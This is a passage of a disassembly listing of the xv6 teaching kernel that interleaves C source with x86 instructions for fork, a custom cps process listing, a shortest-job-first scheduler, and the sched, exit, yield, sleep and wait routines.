// Allocate process.
if((np = allocproc()) == 0){
return -1;
80103a8d: b8 ff ff ff ff mov $0xffffffff,%eax
80103a92: eb f1 jmp 80103a85 <fork+0xe5>
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
kfree(np->kstack);
80103a94: 8b 43 08 mov 0x8(%ebx),%eax
80103a97: 89 04 24 mov %eax,(%esp)
80103a9a: e8 51 e8 ff ff call 801022f0 <kfree>
np->kstack = 0;
np->state = UNUSED;
return -1;
80103a9f: b8 ff ff ff ff mov $0xffffffff,%eax
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
kfree(np->kstack);
np->kstack = 0;
80103aa4: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
np->state = UNUSED;
80103aab: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return -1;
80103ab2: eb d1 jmp 80103a85 <fork+0xe5>
80103ab4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103aba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103ac0 <cps>:
panic("zombie exit");
}
int cps()
{
80103ac0: 55 push %ebp
80103ac1: 89 e5 mov %esp,%ebp
80103ac3: 57 push %edi
80103ac4: 56 push %esi
80103ac5: 53 push %ebx
80103ac6: 83 ec 1c sub $0x1c,%esp
}
static inline void
sti(void)
{
asm volatile("sti");
80103ac9: fb sti
sti();
int i,j;
i = 0;
j = 0;
// Loop over process table looking for process with pid.
acquire(&ptable.lock);
80103aca: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103ad1: bb 40 2e 11 80 mov $0x80112e40,%ebx
// Enable interrupts on this processor.
sti();
int i,j;
i = 0;
j = 0;
80103ad6: 31 ff xor %edi,%edi
// Loop over process table looking for process with pid.
acquire(&ptable.lock);
80103ad8: e8 c3 08 00 00 call 801043a0 <acquire>
struct proc *p;
// Enable interrupts on this processor.
sti();
int i,j;
i = 0;
80103add: 31 f6 xor %esi,%esi
j = 0;
// Loop over process table looking for process with pid.
acquire(&ptable.lock);
cprintf("name \t pid \t state \t length of job\n");
80103adf: c7 04 24 f8 75 10 80 movl $0x801075f8,(%esp)
80103ae6: e8 65 cb ff ff call 80100650 <cprintf>
80103aeb: eb 16 jmp 80103b03 <cps+0x43>
80103aed: 8d 76 00 lea 0x0(%esi),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if ( p->state == SLEEPING ){
cprintf("%s \t %d \t SLEEPING \t %d \n ", p->name, p->pid ,p->length_of_job);
i = i +1;}
else if ( p->state == RUNNING ){
80103af0: 83 f8 04 cmp $0x4,%eax
80103af3: 74 63 je 80103b58 <cps+0x98>
80103af5: 81 c3 9c 00 00 00 add $0x9c,%ebx
i = 0;
j = 0;
// Loop over process table looking for process with pid.
acquire(&ptable.lock);
cprintf("name \t pid \t state \t length of job\n");
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103afb: 81 fb 40 55 11 80 cmp $0x80115540,%ebx
80103b01: 74 3d je 80103b40 <cps+0x80>
if ( p->state == SLEEPING ){
80103b03: 8b 43 a0 mov -0x60(%ebx),%eax
80103b06: 83 f8 02 cmp $0x2,%eax
80103b09: 75 e5 jne 80103af0 <cps+0x30>
cprintf("%s \t %d \t SLEEPING \t %d \n ", p->name, p->pid ,p->length_of_job);
80103b0b: 8b 43 20 mov 0x20(%ebx),%eax
i = i +1;}
80103b0e: 83 c6 01 add $0x1,%esi
// Loop over process table looking for process with pid.
acquire(&ptable.lock);
cprintf("name \t pid \t state \t length of job\n");
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if ( p->state == SLEEPING ){
cprintf("%s \t %d \t SLEEPING \t %d \n ", p->name, p->pid ,p->length_of_job);
80103b11: 89 5c 24 04 mov %ebx,0x4(%esp)
80103b15: 81 c3 9c 00 00 00 add $0x9c,%ebx
80103b1b: c7 04 24 18 75 10 80 movl $0x80107518,(%esp)
80103b22: 89 44 24 0c mov %eax,0xc(%esp)
80103b26: 8b 83 08 ff ff ff mov -0xf8(%ebx),%eax
80103b2c: 89 44 24 08 mov %eax,0x8(%esp)
80103b30: e8 1b cb ff ff call 80100650 <cprintf>
i = 0;
j = 0;
// Loop over process table looking for process with pid.
acquire(&ptable.lock);
cprintf("name \t pid \t state \t length of job\n");
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103b35: 81 fb 40 55 11 80 cmp $0x80115540,%ebx
80103b3b: 75 c6 jne 80103b03 <cps+0x43>
80103b3d: 8d 76 00 lea 0x0(%esi),%esi
else if ( p->state == RUNNING ){
cprintf("%s \t %d \t RUNNING \t %d \n ", p->name, p->pid,p->length_of_job );
j = j+1;}
}
release(&ptable.lock);
80103b40: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103b47: e8 84 09 00 00 call 801044d0 <release>
return i+j;
}
80103b4c: 83 c4 1c add $0x1c,%esp
cprintf("%s \t %d \t RUNNING \t %d \n ", p->name, p->pid,p->length_of_job );
j = j+1;}
}
release(&ptable.lock);
return i+j;
80103b4f: 8d 04 3e lea (%esi,%edi,1),%eax
}
80103b52: 5b pop %ebx
80103b53: 5e pop %esi
80103b54: 5f pop %edi
80103b55: 5d pop %ebp
80103b56: c3 ret
80103b57: 90 nop
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if ( p->state == SLEEPING ){
cprintf("%s \t %d \t SLEEPING \t %d \n ", p->name, p->pid ,p->length_of_job);
i = i +1;}
else if ( p->state == RUNNING ){
cprintf("%s \t %d \t RUNNING \t %d \n ", p->name, p->pid,p->length_of_job );
80103b58: 8b 43 20 mov 0x20(%ebx),%eax
j = j+1;}
80103b5b: 83 c7 01 add $0x1,%edi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if ( p->state == SLEEPING ){
cprintf("%s \t %d \t SLEEPING \t %d \n ", p->name, p->pid ,p->length_of_job);
i = i +1;}
else if ( p->state == RUNNING ){
cprintf("%s \t %d \t RUNNING \t %d \n ", p->name, p->pid,p->length_of_job );
80103b5e: 89 5c 24 04 mov %ebx,0x4(%esp)
80103b62: c7 04 24 34 75 10 80 movl $0x80107534,(%esp)
80103b69: 89 44 24 0c mov %eax,0xc(%esp)
80103b6d: 8b 43 a4 mov -0x5c(%ebx),%eax
80103b70: 89 44 24 08 mov %eax,0x8(%esp)
80103b74: e8 d7 ca ff ff call 80100650 <cprintf>
80103b79: e9 77 ff ff ff jmp 80103af5 <cps+0x35>
80103b7e: 66 90 xchg %ax,%ax
80103b80 <scheduler>:
// via swtch back to the scheduler.
//This is the scheduler with shortest job first scheduling mechanism. We give low priority with process with larger length of job
void
scheduler(void)
{
80103b80: 55 push %ebp
80103b81: 89 e5 mov %esp,%ebp
80103b83: 53 push %ebx
80103b84: 83 ec 14 sub $0x14,%esp
80103b87: fb sti
for(;;){
// Enable interrupts on this processor.
sti();
struct proc *highP = 0;
// Looking for runnable process
acquire(&ptable.lock);
80103b88: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
for(p = ptable.proc ; p < &ptable.proc[NPROC]; p++){
80103b8f: bb d4 2d 11 80 mov $0x80112dd4,%ebx
for(;;){
// Enable interrupts on this processor.
sti();
struct proc *highP = 0;
// Looking for runnable process
acquire(&ptable.lock);
80103b94: e8 07 08 00 00 call 801043a0 <acquire>
80103b99: eb 17 jmp 80103bb2 <scheduler+0x32>
80103b9b: 90 nop
80103b9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc ; p < &ptable.proc[NPROC]; p++){
80103ba0: 81 c3 9c 00 00 00 add $0x9c,%ebx
80103ba6: 81 fb d4 54 11 80 cmp $0x801154d4,%ebx
80103bac: 0f 83 af 00 00 00 jae 80103c61 <scheduler+0xe1>
if(p->state != RUNNABLE)
80103bb2: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103bb6: 75 e8 jne 80103ba0 <scheduler+0x20>
80103bb8: b8 d4 2d 11 80 mov $0x80112dd4,%eax
80103bbd: eb 0d jmp 80103bcc <scheduler+0x4c>
80103bbf: 90 nop
continue;
highP = p;
// choose one with lowest length_of_job
for(p1 = ptable.proc; p1 < &ptable.proc[NPROC]; p1++){
80103bc0: 05 9c 00 00 00 add $0x9c,%eax
80103bc5: 3d d4 54 11 80 cmp $0x801154d4,%eax
80103bca: 74 21 je 80103bed <scheduler+0x6d>
if(p1->state != RUNNABLE)
80103bcc: 83 78 0c 03 cmpl $0x3,0xc(%eax)
80103bd0: 75 ee jne 80103bc0 <scheduler+0x40>
80103bd2: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx
80103bd8: 39 93 8c 00 00 00 cmp %edx,0x8c(%ebx)
80103bde: 0f 4f d8 cmovg %eax,%ebx
for(p = ptable.proc ; p < &ptable.proc[NPROC]; p++){
if(p->state != RUNNABLE)
continue;
highP = p;
// choose one with lowest length_of_job
for(p1 = ptable.proc; p1 < &ptable.proc[NPROC]; p1++){
80103be1: 05 9c 00 00 00 add $0x9c,%eax
80103be6: 3d d4 54 11 80 cmp $0x801154d4,%eax
80103beb: 75 df jne 80103bcc <scheduler+0x4c>
if ( highP->length_of_job > p1->length_of_job ) // larger length_of_job, lower priorty
highP = p1;
}
p = highP;
proc = p;
switchuvm(p);
80103bed: 89 1c 24 mov %ebx,(%esp)
continue;
if ( highP->length_of_job > p1->length_of_job ) // larger length_of_job, lower priorty
highP = p1;
}
p = highP;
proc = p;
80103bf0: 65 89 1d 04 00 00 00 mov %ebx,%gs:0x4
switchuvm(p);
80103bf7: e8 14 2e 00 00 call 80106a10 <switchuvm>
p->state = RUNNING;
cprintf("\n Scheduler :: Process %s with pid %d running with length as %d \n", p->name, p->pid, p->length_of_job);
80103bfc: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax
highP = p1;
}
p = highP;
proc = p;
switchuvm(p);
p->state = RUNNING;
80103c02: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx)
cprintf("\n Scheduler :: Process %s with pid %d running with length as %d \n", p->name, p->pid, p->length_of_job);
80103c09: 89 44 24 0c mov %eax,0xc(%esp)
80103c0d: 8b 43 10 mov 0x10(%ebx),%eax
80103c10: c7 04 24 1c 76 10 80 movl $0x8010761c,(%esp)
80103c17: 89 44 24 08 mov %eax,0x8(%esp)
80103c1b: 8d 43 6c lea 0x6c(%ebx),%eax
// Enable interrupts on this processor.
sti();
struct proc *highP = 0;
// Looking for runnable process
acquire(&ptable.lock);
for(p = ptable.proc ; p < &ptable.proc[NPROC]; p++){
80103c1e: 81 c3 9c 00 00 00 add $0x9c,%ebx
}
p = highP;
proc = p;
switchuvm(p);
p->state = RUNNING;
cprintf("\n Scheduler :: Process %s with pid %d running with length as %d \n", p->name, p->pid, p->length_of_job);
80103c24: 89 44 24 04 mov %eax,0x4(%esp)
80103c28: e8 23 ca ff ff call 80100650 <cprintf>
swtch(&cpu->scheduler, p->context);
80103c2d: 8b 43 80 mov -0x80(%ebx),%eax
80103c30: 89 44 24 04 mov %eax,0x4(%esp)
80103c34: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103c3a: 83 c0 04 add $0x4,%eax
80103c3d: 89 04 24 mov %eax,(%esp)
80103c40: e8 36 0b 00 00 call 8010477b <swtch>
switchkvm();
80103c45: e8 a6 2d 00 00 call 801069f0 <switchkvm>
// Enable interrupts on this processor.
sti();
struct proc *highP = 0;
// Looking for runnable process
acquire(&ptable.lock);
for(p = ptable.proc ; p < &ptable.proc[NPROC]; p++){
80103c4a: 81 fb d4 54 11 80 cmp $0x801154d4,%ebx
swtch(&cpu->scheduler, p->context);
switchkvm();
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80103c50: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80103c57: 00 00 00 00
// Enable interrupts on this processor.
sti();
struct proc *highP = 0;
// Looking for runnable process
acquire(&ptable.lock);
for(p = ptable.proc ; p < &ptable.proc[NPROC]; p++){
80103c5b: 0f 82 51 ff ff ff jb 80103bb2 <scheduler+0x32>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
80103c61: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103c68: e8 63 08 00 00 call 801044d0 <release>
}
80103c6d: e9 15 ff ff ff jmp 80103b87 <scheduler+0x7>
80103c72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103c79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103c80 <sched>:
// be proc->intena and proc->ncli, but that would
// break in the few places where a lock is held but
// there's no process.
void
sched(void)
{
80103c80: 55 push %ebp
80103c81: 89 e5 mov %esp,%ebp
80103c83: 53 push %ebx
80103c84: 83 ec 14 sub $0x14,%esp
int intena;
if(!holding(&ptable.lock))
80103c87: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103c8e: e8 9d 07 00 00 call 80104430 <holding>
80103c93: 85 c0 test %eax,%eax
80103c95: 74 4d je 80103ce4 <sched+0x64>
panic("sched ptable.lock");
if(cpu->ncli != 1)
80103c97: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103c9d: 83 b8 ac 00 00 00 01 cmpl $0x1,0xac(%eax)
80103ca4: 75 62 jne 80103d08 <sched+0x88>
panic("sched locks");
if(proc->state == RUNNING)
80103ca6: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103cad: 83 7a 0c 04 cmpl $0x4,0xc(%edx)
80103cb1: 74 49 je 80103cfc <sched+0x7c>
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103cb3: 9c pushf
80103cb4: 59 pop %ecx
panic("sched running");
if(readeflags()&FL_IF)
80103cb5: 80 e5 02 and $0x2,%ch
80103cb8: 75 36 jne 80103cf0 <sched+0x70>
panic("sched interruptible");
intena = cpu->intena;
80103cba: 8b 98 b0 00 00 00 mov 0xb0(%eax),%ebx
swtch(&proc->context, cpu->scheduler);
80103cc0: 83 c2 1c add $0x1c,%edx
80103cc3: 8b 40 04 mov 0x4(%eax),%eax
80103cc6: 89 14 24 mov %edx,(%esp)
80103cc9: 89 44 24 04 mov %eax,0x4(%esp)
80103ccd: e8 a9 0a 00 00 call 8010477b <swtch>
cpu->intena = intena;
80103cd2: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103cd8: 89 98 b0 00 00 00 mov %ebx,0xb0(%eax)
}
80103cde: 83 c4 14 add $0x14,%esp
80103ce1: 5b pop %ebx
80103ce2: 5d pop %ebp
80103ce3: c3 ret
sched(void)
{
int intena;
if(!holding(&ptable.lock))
panic("sched ptable.lock");
80103ce4: c7 04 24 4f 75 10 80 movl $0x8010754f,(%esp)
80103ceb: e8 70 c6 ff ff call 80100360 <panic>
if(cpu->ncli != 1)
panic("sched locks");
if(proc->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
80103cf0: c7 04 24 7b 75 10 80 movl $0x8010757b,(%esp)
80103cf7: e8 64 c6 ff ff call 80100360 <panic>
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(cpu->ncli != 1)
panic("sched locks");
if(proc->state == RUNNING)
panic("sched running");
80103cfc: c7 04 24 6d 75 10 80 movl $0x8010756d,(%esp)
80103d03: e8 58 c6 ff ff call 80100360 <panic>
int intena;
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(cpu->ncli != 1)
panic("sched locks");
80103d08: c7 04 24 61 75 10 80 movl $0x80107561,(%esp)
80103d0f: e8 4c c6 ff ff call 80100360 <panic>
80103d14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103d1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103d20 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80103d20: 55 push %ebp
80103d21: 89 e5 mov %esp,%ebp
80103d23: 56 push %esi
80103d24: 53 push %ebx
struct proc *p;
int fd;
if(proc == initproc)
80103d25: 31 db xor %ebx,%ebx
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80103d27: 83 ec 10 sub $0x10,%esp
struct proc *p;
int fd;
if(proc == initproc)
80103d2a: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103d31: 3b 15 bc a5 10 80 cmp 0x8010a5bc,%edx
80103d37: 0f 84 0b 01 00 00 je 80103e48 <exit+0x128>
80103d3d: 8d 76 00 lea 0x0(%esi),%esi
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd]){
80103d40: 8d 73 08 lea 0x8(%ebx),%esi
80103d43: 8b 44 b2 08 mov 0x8(%edx,%esi,4),%eax
80103d47: 85 c0 test %eax,%eax
80103d49: 74 17 je 80103d62 <exit+0x42>
fileclose(proc->ofile[fd]);
80103d4b: 89 04 24 mov %eax,(%esp)
80103d4e: e8 dd d0 ff ff call 80100e30 <fileclose>
proc->ofile[fd] = 0;
80103d53: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103d5a: c7 44 b2 08 00 00 00 movl $0x0,0x8(%edx,%esi,4)
80103d61: 00
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80103d62: 83 c3 01 add $0x1,%ebx
80103d65: 83 fb 10 cmp $0x10,%ebx
80103d68: 75 d6 jne 80103d40 <exit+0x20>
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
80103d6a: e8 21 ee ff ff call 80102b90 <begin_op>
iput(proc->cwd);
80103d6f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103d75: 8b 40 68 mov 0x68(%eax),%eax
80103d78: 89 04 24 mov %eax,(%esp)
80103d7b: e8 50 da ff ff call 801017d0 <iput>
end_op();
80103d80: e8 7b ee ff ff call 80102c00 <end_op>
proc->cwd = 0;
80103d85: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103d8b: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80103d92: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103d99: e8 02 06 00 00 call 801043a0 <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80103d9e: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103da5: b8 d4 2d 11 80 mov $0x80112dd4,%eax
proc->cwd = 0;
acquire(&ptable.lock);
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80103daa: 8b 51 14 mov 0x14(%ecx),%edx
80103dad: eb 0d jmp 80103dbc <exit+0x9c>
80103daf: 90 nop
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103db0: 05 9c 00 00 00 add $0x9c,%eax
80103db5: 3d d4 54 11 80 cmp $0x801154d4,%eax
80103dba: 74 1e je 80103dda <exit+0xba>
if(p->state == SLEEPING && p->chan == chan)
80103dbc: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103dc0: 75 ee jne 80103db0 <exit+0x90>
80103dc2: 3b 50 20 cmp 0x20(%eax),%edx
80103dc5: 75 e9 jne 80103db0 <exit+0x90>
p->state = RUNNABLE;
80103dc7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103dce: 05 9c 00 00 00 add $0x9c,%eax
80103dd3: 3d d4 54 11 80 cmp $0x801154d4,%eax
80103dd8: 75 e2 jne 80103dbc <exit+0x9c>
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == proc){
p->parent = initproc;
80103dda: 8b 1d bc a5 10 80 mov 0x8010a5bc,%ebx
80103de0: ba d4 2d 11 80 mov $0x80112dd4,%edx
80103de5: eb 0f jmp 80103df6 <exit+0xd6>
80103de7: 90 nop
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103de8: 81 c2 9c 00 00 00 add $0x9c,%edx
80103dee: 81 fa d4 54 11 80 cmp $0x801154d4,%edx
80103df4: 74 3a je 80103e30 <exit+0x110>
if(p->parent == proc){
80103df6: 3b 4a 14 cmp 0x14(%edx),%ecx
80103df9: 75 ed jne 80103de8 <exit+0xc8>
p->parent = initproc;
if(p->state == ZOMBIE)
80103dfb: 83 7a 0c 05 cmpl $0x5,0xc(%edx)
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == proc){
p->parent = initproc;
80103dff: 89 5a 14 mov %ebx,0x14(%edx)
if(p->state == ZOMBIE)
80103e02: 75 e4 jne 80103de8 <exit+0xc8>
80103e04: b8 d4 2d 11 80 mov $0x80112dd4,%eax
80103e09: eb 11 jmp 80103e1c <exit+0xfc>
80103e0b: 90 nop
80103e0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103e10: 05 9c 00 00 00 add $0x9c,%eax
80103e15: 3d d4 54 11 80 cmp $0x801154d4,%eax
80103e1a: 74 cc je 80103de8 <exit+0xc8>
if(p->state == SLEEPING && p->chan == chan)
80103e1c: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103e20: 75 ee jne 80103e10 <exit+0xf0>
80103e22: 3b 58 20 cmp 0x20(%eax),%ebx
80103e25: 75 e9 jne 80103e10 <exit+0xf0>
p->state = RUNNABLE;
80103e27: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103e2e: eb e0 jmp 80103e10 <exit+0xf0>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
80103e30: c7 41 0c 05 00 00 00 movl $0x5,0xc(%ecx)
sched();
80103e37: e8 44 fe ff ff call 80103c80 <sched>
panic("zombie exit");
80103e3c: c7 04 24 9c 75 10 80 movl $0x8010759c,(%esp)
80103e43: e8 18 c5 ff ff call 80100360 <panic>
{
struct proc *p;
int fd;
if(proc == initproc)
panic("init exiting");
80103e48: c7 04 24 8f 75 10 80 movl $0x8010758f,(%esp)
80103e4f: e8 0c c5 ff ff call 80100360 <panic>
80103e54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103e5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103e60 <yield>:
}
// Give up the CPU for one scheduling round.
void
yield(void)
{
80103e60: 55 push %ebp
80103e61: 89 e5 mov %esp,%ebp
80103e63: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103e66: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103e6d: e8 2e 05 00 00 call 801043a0 <acquire>
proc->state = RUNNABLE;
80103e72: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103e78: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80103e7f: e8 fc fd ff ff call 80103c80 <sched>
release(&ptable.lock);
80103e84: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103e8b: e8 40 06 00 00 call 801044d0 <release>
}
80103e90: c9 leave
80103e91: c3 ret
80103e92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103ea0 <sleep>:
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80103ea0: 55 push %ebp
80103ea1: 89 e5 mov %esp,%ebp
80103ea3: 56 push %esi
80103ea4: 53 push %ebx
80103ea5: 83 ec 10 sub $0x10,%esp
if(proc == 0)
80103ea8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
// Atomically release lock and sleep on chan.
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
80103eae: 8b 75 08 mov 0x8(%ebp),%esi
80103eb1: 8b 5d 0c mov 0xc(%ebp),%ebx
if(proc == 0)
80103eb4: 85 c0 test %eax,%eax
80103eb6: 0f 84 8b 00 00 00 je 80103f47 <sleep+0xa7>
panic("sleep");
if(lk == 0)
80103ebc: 85 db test %ebx,%ebx
80103ebe: 74 7b je 80103f3b <sleep+0x9b>
// change p->state and then call sched.
// Once we hold ptable.lock, we can be
// guaranteed that we won't miss any wakeup
// (wakeup runs with ptable.lock locked),
// so it's okay to release lk.
if(lk != &ptable.lock){ //DOC: sleeplock0
80103ec0: 81 fb a0 2d 11 80 cmp $0x80112da0,%ebx
80103ec6: 74 50 je 80103f18 <sleep+0x78>
acquire(&ptable.lock); //DOC: sleeplock1
80103ec8: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103ecf: e8 cc 04 00 00 call 801043a0 <acquire>
release(lk);
80103ed4: 89 1c 24 mov %ebx,(%esp)
80103ed7: e8 f4 05 00 00 call 801044d0 <release>
}
// Go to sleep.
proc->chan = chan;
80103edc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103ee2: 89 70 20 mov %esi,0x20(%eax)
proc->state = SLEEPING;
80103ee5: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103eec: e8 8f fd ff ff call 80103c80 <sched>
// Tidy up.
proc->chan = 0;
80103ef1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103ef7: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
80103efe: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103f05: e8 c6 05 00 00 call 801044d0 <release>
acquire(lk);
80103f0a: 89 5d 08 mov %ebx,0x8(%ebp)
}
}
80103f0d: 83 c4 10 add $0x10,%esp
80103f10: 5b pop %ebx
80103f11: 5e pop %esi
80103f12: 5d pop %ebp
proc->chan = 0;
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
80103f13: e9 88 04 00 00 jmp 801043a0 <acquire>
acquire(&ptable.lock); //DOC: sleeplock1
release(lk);
}
// Go to sleep.
proc->chan = chan;
80103f18: 89 70 20 mov %esi,0x20(%eax)
proc->state = SLEEPING;
80103f1b: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103f22: e8 59 fd ff ff call 80103c80 <sched>
// Tidy up.
proc->chan = 0;
80103f27: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103f2d: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
// Reacquire original lock.
if(lk != &ptable.lock){ //DOC: sleeplock2
release(&ptable.lock);
acquire(lk);
}
}
80103f34: 83 c4 10 add $0x10,%esp
80103f37: 5b pop %ebx
80103f38: 5e pop %esi
80103f39: 5d pop %ebp
80103f3a: c3 ret
{
if(proc == 0)
panic("sleep");
if(lk == 0)
panic("sleep without lk");
80103f3b: c7 04 24 ae 75 10 80 movl $0x801075ae,(%esp)
80103f42: e8 19 c4 ff ff call 80100360 <panic>
// Reacquires lock when awakened.
void
sleep(void *chan, struct spinlock *lk)
{
if(proc == 0)
panic("sleep");
80103f47: c7 04 24 a8 75 10 80 movl $0x801075a8,(%esp)
80103f4e: e8 0d c4 ff ff call 80100360 <panic>
80103f53: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103f60 <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
80103f60: 55 push %ebp
80103f61: 89 e5 mov %esp,%ebp
80103f63: 56 push %esi
80103f64: 53 push %ebx
80103f65: 83 ec 10 sub $0x10,%esp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
80103f68: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103f6f: e8 2c 04 00 00 call 801043a0 <acquire>
80103f74: 65 a1 04 00 00 00 mov %gs:0x4,%eax
for(;;){
// Scan through table looking for exited children.
havekids = 0;
80103f7a: 31 d2 xor %edx,%edx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103f7c: bb d4 2d 11 80 mov $0x80112dd4,%ebx
80103f81: eb 13 jmp 80103f96 <wait+0x36>
80103f83: 90 nop
80103f84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103f88: 81 c3 9c 00 00 00 add $0x9c,%ebx
80103f8e: 81 fb d4 54 11 80 cmp $0x801154d4,%ebx
80103f94: 74 22 je 80103fb8 <wait+0x58>
if(p->parent != proc)
80103f96: 39 43 14 cmp %eax,0x14(%ebx)
80103f99: 75 ed jne 80103f88 <wait+0x28>
continue;
havekids = 1;
if(p->state == ZOMBIE){
80103f9b: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103f9f: 74 34 je 80103fd5 <wait+0x75>
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103fa1: 81 c3 9c 00 00 00 add $0x9c,%ebx
if(p->parent != proc)
continue;
havekids = 1;
80103fa7: ba 01 00 00 00 mov $0x1,%edx
acquire(&ptable.lock);
for(;;){
// Scan through table looking for exited children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103fac: 81 fb d4 54 11 80 cmp $0x801154d4,%ebx
80103fb2: 75 e2 jne 80103f96 <wait+0x36>
